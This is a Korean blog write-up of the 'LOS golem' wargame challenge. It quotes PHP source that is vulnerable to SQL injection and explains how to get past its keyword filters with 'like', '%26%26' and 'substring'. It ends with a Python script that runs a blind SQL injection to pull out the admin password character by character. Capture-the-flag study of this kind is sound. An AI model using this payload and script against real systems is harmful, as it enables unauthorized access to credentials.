본문 바로가기

wargame/LOS

[LOS]11번 GOLEM

GOLEM

11번 문제


<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  // $GET[pw]에서 or, and, substr(, =이 필터링 되었다.

  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysql_fetch_array(mysql_query($query)); 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>



and, or, =, substr( 전부 필터링이 되었다. 이외에는 기존 blind sql injection 문제와 동일하다.
필터링을 적절히 우회하면서 이전의 방식 그대로 풀면 될 것 같다.

우선 pw의 길이를 확인했다.


= 대신에 like를 쓰자.

전과 마찬가지로 &&에 필터링이 걸린다. %26으로 대체해야 한다.


substr( 이 필터링되었기 때문에 substring 함수를 사용하자.

다음은 암호 찾는 용도의 python 코드이다.

from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 9):
        for j in range(48, 123) : # 아스키 코드의 범위
            query = "' || id like 'admin' %26%26 ascii(substring(pw, "+str(i)+", 1)) like "+str(j)+"%23"
            params = {"pw": unquote(query)}
            cookies = {"PHPSESSID" : ""}
            response = requests.get('https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php', cookies = cookies, params = params)
            html = response.text
            soup =  BeautifulSoup(html, 'html.parser')
            if soup.select('h2') :
                print(chr(j), end="")
                break

암호를 찾았다.

문제해결!

'wargame > LOS' 카테고리의 다른 글

[LOS]13번 BUGBEAR  (0) 2019.08.06
[LOS]12번 DARKNIGHT  (0) 2019.08.02
[LOS]10번 SKELETON  (0) 2019.07.24
[LOS]9번 VAMPIRE  (0) 2019.07.24
[LOS]8번 troll  (0) 2019.07.21